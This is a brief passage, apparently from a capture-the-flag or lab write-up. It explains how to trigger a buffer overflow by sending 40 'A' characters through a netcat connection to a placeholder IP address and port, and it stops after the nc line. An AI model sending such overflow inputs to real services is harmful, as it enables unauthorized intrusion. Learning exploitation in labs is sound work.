So what we have to do here is to create a buffer overflow by inputing 8 * 5 = 40 A characters:

# Start an interactive python terminal and execute the following
'A' * 40

Do nc IP_ADDR PORT: